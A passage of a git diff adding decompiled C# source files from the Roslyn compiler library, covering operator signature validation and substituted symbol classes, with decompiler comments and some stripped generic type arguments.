diagnostics); + if (item2.IsRestrictedType(ignoreSpanLikeTypes: true)) + { + diagnostics.Add(ErrorCode.ERR_MethodReturnCantBeRefAny, ((SyntaxNode)returnTypeSyntax).Location, item2.Type); + } + if (item2.Type.IsStatic) + { + diagnostics.Add(ErrorFacts.GetStaticClassReturnCode(useWarning: false), ((SyntaxNode)returnTypeSyntax).Location, item2.Type); + } + return (ReturnType: item2, Parameters: item); + } + + protected override void MethodChecks(BindingDiagnosticBag diagnostics) + { + var (returnType, parameters) = MakeParametersAndBindReturnType(diagnostics); + MethodChecks(returnType, parameters, diagnostics); + if (!ContainingType.IsStatic) + { + CheckValueParameters(diagnostics); + CheckOperatorSignatures(diagnostics); + } + } + + protected abstract (TypeWithAnnotations ReturnType, ImmutableArray Parameters) MakeParametersAndBindReturnType(BindingDiagnosticBag diagnostics); + + protected sealed override void ExtensionMethodChecks(BindingDiagnosticBag diagnostics) + { + } + + protected sealed override MethodSymbol FindExplicitlyImplementedMethod(BindingDiagnosticBag diagnostics) + { + if ((object)_explicitInterfaceType != null) + { + SyntaxNode syntax = syntaxReferenceOpt.GetSyntax(default(CancellationToken)); + string interfaceMethodName; + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier; + if (!(syntax is OperatorDeclarationSyntax operatorDeclarationSyntax)) + { + if (!(syntax is ConversionOperatorDeclarationSyntax conversionOperatorDeclarationSyntax)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceUserDefinedOperatorSymbolBase.cs", 315); + } + interfaceMethodName = OperatorFacts.OperatorNameFromDeclaration(conversionOperatorDeclarationSyntax); + explicitInterfaceSpecifier = conversionOperatorDeclarationSyntax.ExplicitInterfaceSpecifier; + } + else + { + interfaceMethodName = OperatorFacts.OperatorNameFromDeclaration(operatorDeclarationSyntax); + explicitInterfaceSpecifier = operatorDeclarationSyntax.ExplicitInterfaceSpecifier; + } + return this.FindExplicitlyImplementedMethod(isOperator: true, _explicitInterfaceType, interfaceMethodName, explicitInterfaceSpecifier, diagnostics); + } + return null; + } + + private void CheckValueParameters(BindingDiagnosticBag diagnostics) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if ((int)current.RefKind != 0 && (int)current.RefKind != 3) + { + diagnostics.Add(ErrorCode.ERR_IllegalRefParam, GetFirstLocation()); + break; + } + } + } + + private void CheckOperatorSignatures(BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)MethodKind == 8 || !DoesOperatorHaveCorrectArity(Name, ParameterCount)) + { + return; + } + switch (Name) + { + case "op_Implicit": + case "op_Explicit": + case "op_CheckedExplicit": + CheckUserDefinedConversionSignature(diagnostics); + break; + case "op_UnaryPlus": + case "op_LogicalNot": + case "op_CheckedUnaryNegation": + case "op_UnaryNegation": + case "op_OnesComplement": + CheckUnarySignature(diagnostics); + break; + case "op_True": + case "op_False": + CheckTrueFalseSignature(diagnostics); + break; + case "op_Decrement": + case "op_Increment": + case "op_CheckedDecrement": + case "op_CheckedIncrement": + CheckIncrementDecrementSignature(diagnostics); + break; + case "op_LeftShift": + case "op_RightShift": + case "op_UnsignedRightShift": + CheckShiftSignature(diagnostics); + break; + case "op_Equality": + case "op_Inequality": + if (IsAbstract || IsVirtual) + { + CheckAbstractEqualitySignature(diagnostics); + } + else + { + CheckBinarySignature(diagnostics); + } + break; + default: + CheckBinarySignature(diagnostics); + break; + } + } + + private static bool DoesOperatorHaveCorrectArity(string name, int parameterCount) + { + switch (name) + { + case "op_CheckedDecrement": + case "op_CheckedIncrement": + case "op_Decrement": + case "op_Increment": + case "op_UnaryPlus": + case "op_Explicit": + case "op_Implicit": + case "op_CheckedUnaryNegation": + case "op_UnaryNegation": + case "op_LogicalNot": + case "op_OnesComplement": + case "op_True": + case "op_False": + case "op_CheckedExplicit": + return parameterCount == 1; + default: + return parameterCount == 2; + } + } + + private void CheckUserDefinedConversionSignature(BindingDiagnosticBag diagnostics) + { + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Invalid comparison between Unknown and I4 + //IL_019a: Unknown result type (might be due to invalid IL or missing references) + CheckReturnIsNotVoid(diagnostics); + TypeSymbol parameterType = GetParameterType(0); + TypeSymbol returnType = base.ReturnType; + TypeSymbol typeSymbol = parameterType.StrippedType(); + TypeSymbol typeSymbol2 = returnType.StrippedType(); + if (typeSymbol.IsInterfaceType() || typeSymbol2.IsInterfaceType()) + { + diagnostics.Add(ErrorCode.ERR_ConversionWithInterface, GetFirstLocation(), this); + return; + } + if (!MatchesContainingType(typeSymbol) && !MatchesContainingType(typeSymbol2) && !MatchesContainingType(parameterType) && !MatchesContainingType(returnType)) + { + diagnostics.Add((IsAbstract || IsVirtual) ? ErrorCode.ERR_AbstractConversionNotInvolvingContainedType : ErrorCode.ERR_ConversionNotInvolvingContainedType, GetFirstLocation()); + return; + } + if (((int)ContainingType.SpecialType == 32) ? parameterType.Equals(returnType, (TypeCompareKind)12) : typeSymbol.Equals(typeSymbol2, (TypeCompareKind)12)) + { + diagnostics.Add(ErrorCode.ERR_IdentityConversion, GetFirstLocation()); + return; + } + if (parameterType.IsDynamic() || returnType.IsDynamic()) + { + diagnostics.Add(ErrorCode.ERR_BadDynamicConversion, GetFirstLocation(), this); + return; + } + TypeSymbol typeSymbol3; + TypeSymbol typeSymbol4; + if (MatchesContainingType(typeSymbol)) + { + typeSymbol3 = parameterType; + typeSymbol4 = returnType; + } + else + { + typeSymbol3 = returnType; + typeSymbol4 = parameterType; + } + if (typeSymbol4.IsClassType() && !typeSymbol3.IsTypeParameter()) + { + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + if (typeSymbol3.IsDerivedFrom(typeSymbol4, (TypeCompareKind)12, ref useSiteInfo)) + { + diagnostics.Add(ErrorCode.ERR_ConversionWithBase, GetFirstLocation(), this); + } + else if (typeSymbol4.IsDerivedFrom(typeSymbol3, (TypeCompareKind)12, ref useSiteInfo)) + { + diagnostics.Add(ErrorCode.ERR_ConversionWithDerived, GetFirstLocation(), this); + } + ((BindingDiagnosticBag)(object)diagnostics).Add(GetFirstLocation(), useSiteInfo); + } + } + + private void CheckReturnIsNotVoid(BindingDiagnosticBag diagnostics) + { + if (ReturnsVoid) + { + diagnostics.Add(ErrorCode.ERR_OperatorCantReturnVoid, GetFirstLocation()); + } + } + + private void CheckUnarySignature(BindingDiagnosticBag diagnostics) + { + if (!MatchesContainingType(GetParameterType(0).StrippedType())) + { + diagnostics.Add((IsAbstract || IsVirtual) ? ErrorCode.ERR_BadAbstractUnaryOperatorSignature : ErrorCode.ERR_BadUnaryOperatorSignature, GetFirstLocation()); + } + CheckReturnIsNotVoid(diagnostics); + } + + private void CheckTrueFalseSignature(BindingDiagnosticBag diagnostics) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + if ((int)base.ReturnType.SpecialType != 7) + { + diagnostics.Add(ErrorCode.ERR_OpTFRetType, GetFirstLocation()); + } + if (!MatchesContainingType(GetParameterType(0).StrippedType())) + { + diagnostics.Add((IsAbstract || IsVirtual) ? ErrorCode.ERR_BadAbstractUnaryOperatorSignature : ErrorCode.ERR_BadUnaryOperatorSignature, GetFirstLocation()); + } + } + + private void CheckIncrementDecrementSignature(BindingDiagnosticBag diagnostics) + { + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol parameterType = GetParameterType(0); + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + if (!MatchesContainingType(parameterType.StrippedType())) + { + diagnostics.Add((IsAbstract || IsVirtual) ? ErrorCode.ERR_BadAbstractIncDecSignature : ErrorCode.ERR_BadIncDecSignature, GetFirstLocation()); + } + else + { + bool num; + if (!parameterType.IsTypeParameter()) + { + if ((IsAbstract || IsVirtual) && IsContainingType(parameterType) && IsSelfConstrainedTypeParameter(base.ReturnType)) + { + goto IL_00d4; + } + num = base.ReturnType.EffectiveTypeNoUseSiteDiagnostics.IsEqualToOrDerivedFrom(parameterType, (TypeCompareKind)12, ref useSiteInfo); + } + else + { + num = base.ReturnType.Equals(parameterType, (TypeCompareKind)12); + } + if (!num) + { + diagnostics.Add((IsAbstract || IsVirtual) ? ErrorCode.ERR_BadAbstractIncDecRetType : ErrorCode.ERR_BadIncDecRetType, GetFirstLocation()); + } + } + goto IL_00d4; + IL_00d4: + ((BindingDiagnosticBag)(object)diagnostics).Add(GetFirstLocation(), useSiteInfo); + } + + private bool MatchesContainingType(TypeSymbol type) + { + if (!IsContainingType(type)) + { + if (IsAbstract || IsVirtual) + { + return IsSelfConstrainedTypeParameter(type); + } + return false; + } + return true; + } + + private bool IsContainingType(TypeSymbol type) + { + return type.Equals(ContainingType, (TypeCompareKind)12); + } + + public static bool IsSelfConstrainedTypeParameter(TypeSymbol type, NamedTypeSymbol containingType) + { + if (type is TypeParameterSymbol typeParameterSymbol && (object)typeParameterSymbol.ContainingSymbol == containingType) + { + return ImmutableArrayExtensions.Any(typeParameterSymbol.ConstraintTypesNoUseSiteDiagnostics, (Func)((TypeWithAnnotations typeArgument, NamedTypeSymbol t) => typeArgument.Type.Equals(t, (TypeCompareKind)12)), containingType); + } + return false; + } + + private bool IsSelfConstrainedTypeParameter(TypeSymbol type) + { + return IsSelfConstrainedTypeParameter(type, ContainingType); + } + + private void CheckShiftSignature(BindingDiagnosticBag diagnostics) + { + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Invalid comparison between Unknown and I4 + if (!MatchesContainingType(GetParameterType(0).StrippedType())) + { + diagnostics.Add((IsAbstract || IsVirtual) ? ErrorCode.ERR_BadAbstractShiftOperatorSignature : ErrorCode.ERR_BadShiftOperatorSignature, GetFirstLocation()); + } + else if ((int)GetParameterType(1).StrippedType().SpecialType != 13) + { + Location firstLocation = GetFirstLocation(); + Binder.CheckFeatureAvailability(firstLocation.SourceTree, MessageID.IDS_FeatureRelaxedShiftOperator, diagnostics, firstLocation); + } + CheckReturnIsNotVoid(diagnostics); + } + + private void CheckBinarySignature(BindingDiagnosticBag diagnostics) + { + if (!MatchesContainingType(GetParameterType(0).StrippedType()) && !MatchesContainingType(GetParameterType(1).StrippedType())) + { + diagnostics.Add((IsAbstract || IsVirtual) ? ErrorCode.ERR_BadAbstractBinaryOperatorSignature : ErrorCode.ERR_BadBinaryOperatorSignature, GetFirstLocation()); + } + CheckReturnIsNotVoid(diagnostics); + } + + private void CheckAbstractEqualitySignature(BindingDiagnosticBag diagnostics) + { + if (!IsSelfConstrainedTypeParameter(GetParameterType(0).StrippedType()) && !IsSelfConstrainedTypeParameter(GetParameterType(1).StrippedType())) + { + diagnostics.Add(ErrorCode.ERR_BadAbstractEqualityOperatorSignature, GetFirstLocation(), ContainingType); + } + CheckReturnIsNotVoid(diagnostics); + } + + public sealed override ImmutableArray> GetTypeParameterConstraintTypes() + { + return ImmutableArray>.Empty; + } + + public sealed override ImmutableArray GetTypeParameterConstraintKinds() + { + return ImmutableArray.Empty; + } + + protected sealed override void CheckConstraintsForExplicitInterfaceType(ConversionsBase conversions, BindingDiagnosticBag diagnostics) + { + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Expected O, but got Unknown + if ((object)_explicitInterfaceType == null) + { + return; + } + SyntaxNode syntax = syntaxReferenceOpt.GetSyntax(default(CancellationToken)); + NameSyntax name; + if (!(syntax is OperatorDeclarationSyntax operatorDeclarationSyntax)) + { + if (!(syntax is ConversionOperatorDeclarationSyntax conversionOperatorDeclarationSyntax)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceUserDefinedOperatorSymbolBase.cs", 806); + } + name = conversionOperatorDeclarationSyntax.ExplicitInterfaceSpecifier.Name; + } + else + { + name = operatorDeclarationSyntax.ExplicitInterfaceSpecifier.Name; + } + _explicitInterfaceType.CheckAllConstraints(DeclaringCompilation, conversions, (Location)new SourceLocation((SyntaxNode)(object)name), diagnostics); + } + + protected sealed override void PartialMethodChecks(BindingDiagnosticBag diagnostics) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SpecialTypeExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SpecialTypeExtensions.cs new file mode 100644 index 0000000..a8fd19c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SpecialTypeExtensions.cs @@ -0,0 +1,52 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class SpecialTypeExtensions +{ + public static bool CanBeConst(this SpecialType specialType) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Invalid comparison between Unknown and I4 + if (specialType - 7 <= 13) + { + return true; + } + return false; + } + + public static bool IsValidVolatileFieldType(this SpecialType specialType) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected I4, but got Unknown + switch (specialType - 7) + { + case 0: + case 1: + case 2: + case 3: + case 4: + case 5: + case 6: + case 7: + case 11: + case 14: + case 15: + return true; + default: + return false; + } + } + + public static int FixedBufferElementSizeInBytes(this SpecialType specialType) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Invalid comparison between Unknown and I4 + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + if ((int)specialType != 17) + { + return SpecialTypeExtensions.SizeInBytes(specialType); + } + return 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SpecializedSymbolCollections.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SpecializedSymbolCollections.cs new file mode 100644 index 0000000..33672a8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SpecializedSymbolCollections.cs @@ -0,0 +1,27 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class SpecializedSymbolCollections +{ + private static class PooledSymbolHashSet where TSymbol : Symbol + { + internal static readonly ObjectPool> s_poolInstance = PooledHashSet.CreatePool((IEqualityComparer)SymbolEqualityComparer.ConsiderEverything); + } + + private static class PooledSymbolDictionary where TSymbol : Symbol + { + internal static readonly ObjectPool> s_poolInstance = PooledDictionary.CreatePool((IEqualityComparer)SymbolEqualityComparer.ConsiderEverything); + } + + public static PooledHashSet GetPooledSymbolHashSetInstance() where TSymbol : Symbol + { + return PooledSymbolHashSet.s_poolInstance.Allocate(); + } + + public static PooledDictionary GetPooledSymbolDictionaryInstance() where KSymbol : Symbol + { + return PooledSymbolDictionary.s_poolInstance.Allocate(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedErrorTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedErrorTypeSymbol.cs new file mode 100644 index 0000000..cb3ce8a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedErrorTypeSymbol.cs @@ -0,0 +1,51 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SubstitutedErrorTypeSymbol : ErrorTypeSymbol +{ + private readonly ErrorTypeSymbol _originalDefinition; + + private int _hashCode; + + public override NamedTypeSymbol OriginalDefinition => _originalDefinition; + + internal override bool MangleName => _originalDefinition.MangleName; + + internal sealed override bool IsFileLocal => _originalDefinition.IsFileLocal; + + internal sealed override FileIdentifier? AssociatedFileIdentifier => _originalDefinition.AssociatedFileIdentifier; + + internal override DiagnosticInfo? ErrorInfo => _originalDefinition.ErrorInfo; + + public override int Arity => _originalDefinition.Arity; + + public override string Name => _originalDefinition.Name; + + public override ImmutableArray Locations => _originalDefinition.Locations; + + public override ImmutableArray CandidateSymbols => _originalDefinition.CandidateSymbols; + + internal override LookupResultKind ResultKind => _originalDefinition.ResultKind; + + protected SubstitutedErrorTypeSymbol(ErrorTypeSymbol originalDefinition, TupleExtraData? tupleData = null) + : base(tupleData) + { + _originalDefinition = originalDefinition; + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return _originalDefinition.GetUseSiteInfo(); + } + + public override int GetHashCode() + { + if (_hashCode == 0) + { + _hashCode = this.ComputeHashCode(); + } + return _hashCode; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedEventSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedEventSymbol.cs new file mode 100644 index 0000000..1e9f186 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedEventSymbol.cs @@ -0,0 +1,79 @@ +using System.Collections.Immutable; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SubstitutedEventSymbol : WrappedEventSymbol +{ + private readonly SubstitutedNamedTypeSymbol _containingType; + + private TypeWithAnnotations.Boxed? _lazyType; + + private ImmutableArray _lazyExplicitInterfaceImplementations; + + private OverriddenOrHiddenMembersResult? _lazyOverriddenOrHiddenMembers; + + public override TypeWithAnnotations TypeWithAnnotations + { + get + { + if (_lazyType == null) + { + TypeWithAnnotations value = _containingType.TypeSubstitution.SubstituteType(OriginalDefinition.TypeWithAnnotations); + Interlocked.CompareExchange(ref _lazyType, new TypeWithAnnotations.Boxed(value), null); + } + return _lazyType.Value; + } + } + + public override Symbol ContainingSymbol => _containingType; + + public override EventSymbol OriginalDefinition => _underlyingEvent; + + public override MethodSymbol? AddMethod => OriginalDefinition.AddMethod?.AsMember(_containingType); + + public override MethodSymbol? RemoveMethod => OriginalDefinition.RemoveMethod?.AsMember(_containingType); + + internal override FieldSymbol? AssociatedField => OriginalDefinition.AssociatedField?.AsMember(_containingType); + + internal override bool IsExplicitInterfaceImplementation => OriginalDefinition.IsExplicitInterfaceImplementation; + + public override ImmutableArray ExplicitInterfaceImplementations + { + get + { + if (_lazyExplicitInterfaceImplementations.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyExplicitInterfaceImplementations, ExplicitInterfaceHelpers.SubstituteExplicitInterfaceImplementations(OriginalDefinition.ExplicitInterfaceImplementations, _containingType.TypeSubstitution), default(ImmutableArray)); + } + return _lazyExplicitInterfaceImplementations; + } + } + + internal override bool MustCallMethodsDirectly => OriginalDefinition.MustCallMethodsDirectly; + + internal override OverriddenOrHiddenMembersResult OverriddenOrHiddenMembers + { + get + { + if (_lazyOverriddenOrHiddenMembers == null) + { + Interlocked.CompareExchange(ref _lazyOverriddenOrHiddenMembers, this.MakeOverriddenOrHiddenMembers(), null); + } + return _lazyOverriddenOrHiddenMembers; + } + } + + public override bool IsWindowsRuntimeEvent => OriginalDefinition.IsWindowsRuntimeEvent; + + internal SubstitutedEventSymbol(SubstitutedNamedTypeSymbol containingType, EventSymbol originalDefinition) + : base(originalDefinition) + { + _containingType = containingType; + } + + public override ImmutableArray GetAttributes() + { + return OriginalDefinition.GetAttributes(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedFieldSymbol.cs new file mode 100644 index 0000000..3723b3e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedFieldSymbol.cs @@ -0,0 +1,88 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SubstitutedFieldSymbol : WrappedFieldSymbol +{ + private readonly SubstitutedNamedTypeSymbol _containingType; + + private TypeWithAnnotations.Boxed _lazyType; + + public override Symbol ContainingSymbol => _containingType; + + public override NamedTypeSymbol ContainingType => _containingType; + + public override FieldSymbol OriginalDefinition => _underlyingField; + + public override bool IsImplicitlyDeclared + { + get + { + if (ContainingType.IsTupleType && IsDefaultTupleElement) + { + return true; + } + return base.IsImplicitlyDeclared; + } + } + + public override Symbol AssociatedSymbol => OriginalDefinition.AssociatedSymbol?.SymbolAsMember(ContainingType); + + public override RefKind RefKind => _underlyingField.RefKind; + + public override ImmutableArray RefCustomModifiers => _containingType.TypeSubstitution.SubstituteCustomModifiers(_underlyingField.RefCustomModifiers); + + internal SubstitutedFieldSymbol(SubstitutedNamedTypeSymbol containingType, FieldSymbol substitutedFrom) + : base(substitutedFrom.OriginalDefinition) + { + _containingType = containingType; + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + if (_lazyType == null) + { + TypeWithAnnotations value = _containingType.TypeSubstitution.SubstituteType(OriginalDefinition.GetFieldType(fieldsBeingBound)); + Interlocked.CompareExchange(ref _lazyType, new TypeWithAnnotations.Boxed(value), null); + } + return _lazyType.Value; + } + + public override ImmutableArray GetAttributes() + { + return OriginalDefinition.GetAttributes(); + } + + internal override NamedTypeSymbol FixedImplementationType(PEModuleBuilder emitModule) + { + return (NamedTypeSymbol)_containingType.TypeSubstitution.SubstituteType(OriginalDefinition.FixedImplementationType(emitModule)).Type; + } + + public override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == obj) + { + return true; + } + if (obj is FieldSymbol fieldSymbol && TypeSymbol.Equals(_containingType, fieldSymbol.ContainingType, compareKind)) + { + return OriginalDefinition == fieldSymbol.OriginalDefinition; + } + return false; + } + + public override int GetHashCode() + { + int num = OriginalDefinition.GetHashCode(); + int hashCode = _containingType.GetHashCode(); + if (hashCode != OriginalDefinition.ContainingType.GetHashCode()) + { + num = Hash.Combine(hashCode, num); + } + return num; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedMethodSymbol.cs new file mode 100644 index 0000000..6db6bd6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SubstitutedMethodSymbol.cs @@ -0,0 +1,333 @@ +using System.Collections.Immutable; +using System.Runtime.CompilerServices; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class SubstitutedMethodSymbol : WrappedMethodSymbol +{ + private readonly NamedTypeSymbol _containingType; + + private readonly MethodSymbol _underlyingMethod; + + private readonly TypeMap _inputMap; + + private readonly MethodSymbol _constructedFrom; + + private TypeWithAnnotations.Boxed _lazyReturnType; + + private ImmutableArray _lazyParameters; + + private TypeMap _lazyMap; + + private ImmutableArray _lazyTypeParameters; + + private ImmutableArray _lazyExplicitInterfaceImplementations; + + private OverriddenOrHiddenMembersResult _lazyOverriddenOrHiddenMembers; + + private int _hashCode; + + public override MethodSymbol UnderlyingMethod => _underlyingMethod; + + public override MethodSymbol ConstructedFrom => _constructedFrom; + + private TypeMap Map + { + get + { + EnsureMapAndTypeParameters(); + return _lazyMap; + } + } + + public sealed override ImmutableArray TypeParameters + { + get + { + EnsureMapAndTypeParameters(); + return _lazyTypeParameters; + } + } + + public sealed override AssemblySymbol ContainingAssembly => OriginalDefinition.ContainingAssembly; + + public override ImmutableArray TypeArgumentsWithAnnotations => GetTypeParametersAsTypeArguments(); + + public sealed override MethodSymbol OriginalDefinition => _underlyingMethod; + + internal sealed override MethodSymbol CallsiteReducedFromMethod => OriginalDefinition.ReducedFrom?.Construct(TypeArgumentsWithAnnotations); + + public override TypeSymbol ReceiverType + { + get + { + MethodSymbol callsiteReducedFromMethod = CallsiteReducedFromMethod; + if ((object)callsiteReducedFromMethod == null) + { + return ContainingType; + } + return callsiteReducedFromMethod.Parameters[0].Type; + } + } + + public sealed override MethodSymbol ReducedFrom => OriginalDefinition.ReducedFrom; + + public sealed override Symbol ContainingSymbol => _containingType; + + public override NamedTypeSymbol ContainingType => _containingType; + + public sealed override Symbol AssociatedSymbol => OriginalDefinition.AssociatedSymbol?.SymbolAsMember(ContainingType); + + public sealed override TypeWithAnnotations ReturnTypeWithAnnotations + { + get + { + if (_lazyReturnType == null) + { + TypeWithAnnotations value = Map.SubstituteType(OriginalDefinition.ReturnTypeWithAnnotations); + Interlocked.CompareExchange(ref _lazyReturnType, new TypeWithAnnotations.Boxed(value), null); + } + return _lazyReturnType.Value; + } + } + + public sealed override ImmutableArray RefCustomModifiers => Map.SubstituteCustomModifiers(OriginalDefinition.RefCustomModifiers); + + public sealed override ImmutableArray Parameters + { + get + { + if (_lazyParameters.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyParameters, SubstituteParameters()); + } + return _lazyParameters; + } + } + + internal sealed override bool IsExplicitInterfaceImplementation => OriginalDefinition.IsExplicitInterfaceImplementation; + + public sealed override ImmutableArray ExplicitInterfaceImplementations + { + get + { + if ((object)ConstructedFrom != this) + { + return ImmutableArray.Empty; + } + if (_lazyExplicitInterfaceImplementations.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyExplicitInterfaceImplementations, ExplicitInterfaceHelpers.SubstituteExplicitInterfaceImplementations(OriginalDefinition.ExplicitInterfaceImplementations, Map), default(ImmutableArray)); + } + return _lazyExplicitInterfaceImplementations; + } + } + + internal sealed override OverriddenOrHiddenMembersResult OverriddenOrHiddenMembers + { + get + { + if (_lazyOverriddenOrHiddenMembers == null) + { + Interlocked.CompareExchange(ref _lazyOverriddenOrHiddenMembers, this.MakeOverriddenOrHiddenMembers(), null); + } + return _lazyOverriddenOrHiddenMembers; + } + } + + internal sealed override TypeMap TypeSubstitution => Map; + + internal SubstitutedMethodSymbol(NamedTypeSymbol containingSymbol, MethodSymbol originalDefinition) + : this(containingSymbol, containingSymbol.TypeSubstitution, originalDefinition, null) + { + } + + protected SubstitutedMethodSymbol(NamedTypeSymbol containingSymbol, TypeMap map, MethodSymbol originalDefinition, MethodSymbol constructedFrom) + { + _containingType = containingSymbol; + _underlyingMethod = originalDefinition; + _inputMap = map; + if ((object)constructedFrom != null) + { + _constructedFrom = constructedFrom; + _lazyTypeParameters = constructedFrom.TypeParameters; + _lazyMap = map; + } + else + { + _constructedFrom = this; + } + } + + private void EnsureMapAndTypeParameters() + { + if (_lazyTypeParameters.IsDefault) + { + ImmutableArray newTypeParameters; + TypeMap value = _inputMap.WithAlphaRename(OriginalDefinition, this, out newTypeParameters); + TypeMap typeMap = Interlocked.CompareExchange(ref _lazyMap, value, null); + if (typeMap != null) + { + newTypeParameters = typeMap.SubstituteTypeParameters(OriginalDefinition.TypeParameters); + } + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyTypeParameters, newTypeParameters, default(ImmutableArray)); + } + } + + public override TypeSymbol GetTypeInferredDuringReduction(TypeParameterSymbol reducedFromTypeParameter) + { + OriginalDefinition.GetTypeInferredDuringReduction(reducedFromTypeParameter); + return TypeArgumentsWithAnnotations[reducedFromTypeParameter.Ordinal].Type; + } + + public sealed override ImmutableArray GetAttributes() + { + return OriginalDefinition.GetAttributes(); + } + + public override ImmutableArray GetReturnTypeAttributes() + { + return OriginalDefinition.GetReturnTypeAttributes(); + } + + internal sealed override UnmanagedCallersOnlyAttributeData GetUnmanagedCallersOnlyAttributeData(bool forceComplete) + { + return OriginalDefinition.GetUnmanagedCallersOnlyAttributeData(forceComplete); + } + + internal sealed override bool CallsAreOmitted(SyntaxTree syntaxTree) + { + return OriginalDefinition.CallsAreOmitted(syntaxTree); + } + + internal sealed override bool TryGetThisParameter(out ParameterSymbol thisParameter) + { + if (!OriginalDefinition.TryGetThisParameter(out var thisParameter2)) + { + thisParameter = null; + return false; + } + thisParameter = (((object)thisParameter2 != null) ? new ThisParameterSymbol(this) : null); + return true; + } + + private ImmutableArray SubstituteParameters() + { + ImmutableArray parameters = OriginalDefinition.Parameters; + int length = parameters.Length; + if (length == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + TypeMap map = Map; + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + instance.Add((ParameterSymbol)new SubstitutedParameterSymbol(this, map, current)); + } + return instance.ToImmutableAndFree(); + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + throw 